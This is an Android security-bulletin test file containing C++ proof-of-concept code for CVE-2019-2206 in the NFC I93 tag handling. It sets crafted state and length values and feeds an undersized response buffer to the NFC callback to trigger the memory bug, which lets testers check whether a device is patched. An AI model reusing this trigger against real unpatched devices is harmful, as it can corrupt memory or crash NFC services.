hostsidetests/securitybulletin/securityPatch/CVE-2019-2206/poc.cpp

/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <stdlib.h>
#include <tags_defs.h>

#define RWLENGTH 32
#define PLENGTH 1
#define OFFSET 7

// borrowed from rw_i93.cc
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t *p_uid);

void GKI_freebuf(void *p_buf __attribute__((unused))) {}

void GKI_start_timer(uint8_t, int32_t, bool) {}

void GKI_stop_timer(uint8_t) {}

int main() {
  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;

  GKI_init();
  rw_init();

  uint8_t p_uid = 1;
  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
    return EXIT_FAILURE;
  }

  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
  tNFC_CONN_EVT event = NFC_DATA_CEVT;

  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));

  if (!p_data) {
    return EXIT_FAILURE;
  }

  p_data->data.p_data =
          /* NOLINTNEXTLINE(clang-analyzer-unix.MallocSizeof) */
          (NFC_HDR *)malloc(sizeof(uint8_t) * (OFFSET + PLENGTH) * 2);

  if (!(p_data->data.p_data)) {
    free(p_data);
    return EXIT_FAILURE;
  }

  p_i93->state = RW_I93_STATE_SET_READ_ONLY;
  p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
  p_i93->block_size = 1;

  p_i93->ndef_tlv_start_offset = 0;
  p_i93->rw_length = RWLENGTH;
  p_i93->ndef_length = p_i93->rw_length * 2;

  p_data->status = NFC_STATUS_OK;
  NFC_HDR *p_resp = (NFC_HDR *)p_data->data.p_data;
  p_resp->len = PLENGTH;
  p_resp->offset = OFFSET;

  p_cb->p_cback(0, event, p_data);

  free(p_data->data.p_data);
  free(p_data);

  return EXIT_SUCCESS;
}